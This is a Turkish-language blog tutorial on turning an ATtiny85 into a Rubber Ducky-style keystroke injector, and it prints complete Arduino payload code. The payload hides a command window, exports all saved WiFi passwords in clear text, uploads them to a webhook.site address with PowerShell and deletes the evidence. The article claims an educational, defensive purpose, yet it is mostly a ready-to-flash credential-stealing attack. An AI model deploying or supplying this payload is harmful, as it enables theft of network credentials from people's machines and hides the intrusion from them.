ATtiny85 ile 20 saniyede WiFi Şifresi Hackle

ATtiny ile ilgili yazılarımızdan en ilginci olmaya aday olan bu yazımızda, aslında bir Rubber Ducky yapıyoruz, Rubber Ducky hakkında bilgi almak için Mr. Robotta Kullanılan Teknolojileri anlattığımız yazımıza göz atmanızı öneriyoruz.

Aslında burdaki işlemlerin hepsini, “USB Interface” protokolüne sahip her hangi bir mikroişlemci ile yapabilirsiniz. Özetle ATtiny85’i bilgisayarımıza bir “klavye” görünümü ile bağlayıp bazı komut sistemi betikleri çalıştıracağız, buradaki anlatımlar eğitim amaçlı olsada, bu gibi tehlikelerden korunmak için bu yazıdan güzel dersler çıkarılabilir. Ayrıca kullandığınız ATtiny85’in doğrudan USB üzerinden(Micro USB ya da Jumper bağlantıları haric) bağlanması işlerinizi biraz kolaylaştırabilir.

wifi şifresi hackle
ATtiny85 USB Modeli

Her ATtiny içeriğinde olduğu gibi Arduino IDE kullanacağınız, öncelikle ATtiny kütüphanelerini Arduino IDE’ye kurmanız ve gerekli sürücüleri bilgisayarınıza kurmanız gerekiyor, önceki ATtiny yazılarımızı inceleyerek kurulum hakkında detaylı bilgilere erişebilirsiniz.

ATtiny85 için oluşturan oldukça fazla payload(kötü amaçlı) kod mevcut, bu gibi tehlikelerden korunmak için, bu payloadları bilmekte fayda var. Bu yazımızda MTK911 GitHub kullanıcısı tarafından oluşturulmuş, Wi-Fi password stealer payload’ını kullanacağınız, fakat görselde gördüğünüz gibi diğer payload’ları da deneyebilirsiniz.

wifi şifresi hackle

Bazı payload’ların admin yetkileri gerektirmemesi, tehlikenin boyutunu bizlere biraz daha gösteriyor.

Program Kodu

/*
  Following payload will grab saved Wifi password and will send them to your hosted webhook and hide the cmd windows by using technique mentioned in hak5darren
 rubberducky wiki -- Payload hide cmd window [https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---hide-cmd-window]
*/


#include "DigiKeyboard.h"
#define KEY_DOWN 0x51 // Keyboard Down Arrow
#define KEY_ENTER 0x28 //Return/Enter Key

void setup() {
  pinMode(1, OUTPUT); //LED on Model A 
}

void loop() {
   
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
 
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible
  DigiKeyboard.delay(500);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu  
  DigiKeyboard.sendKeyStroke(KEY_M); //goto Move
  for(int i =0; i < 100; i++)
    {
      DigiKeyboard.sendKeyStroke(KEY_DOWN);
    }
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //Detach from scrolling
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cd %temp%"); //going to temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/<ADD-WEBHOOK-ADDRESS-HERE> -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess
  DigiKeyboard.delay(100);
  DigiKeyboard.println("exit");
  DigiKeyboard.delay(100);
  
  digitalWrite(1, HIGH); //turn on led when program finishes
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
  
}

Program kodu aslında, ATtiny85’i bilgisayara klavye girdisi olarak tanıtıyor, bu yüzden güvenlik programları, antivirüsler bu saldırıya karşı hazırlıklı değilse, açık bir veri ihlaline sebep oluyor. Klavye girdisi olarak bağlanan ATtiny85 sanki insan kontrolünde gibi, powershell komut satırı açıp, WiFi şifrelerinin tutulduğu kısımdan verileri çekiyor, ardından IoT işlemlerinde sıklıkla kullandığımız webhook.site aracılığı ile, size özel tahsis edilen “unique URL”‘ye bu WiFi verilerini aktarıyor, eğer bu programı ATtiny85’inizde derleyip test ederseniz, çalışma esnasında tam olarak neyden bahsettiğimizi anlayacaksınız.

WiFi verilerini depolamak için ATtiny85’in EPROM’unu kullabilirsiniz, ya da farklı bir EPROM entegresi, SD Kart modülü takarak bu verileri kayıt altına alabilirsiniz fakat burada bu saldırının ne kadar hızlı ve efektif olduğunu görmek için webhook’un sihrine kapılabilirsiniz.

Örnek Webhook Unique URL

wifi şifresi hackle

Her girişinizde size farklı bir unique URL verecektir, istediğiniz adresi kaydedip kullanabilirsiniz, programın gerekli kısmına hangi URL’yi girerseniz onu takip etmeyi unutmayın.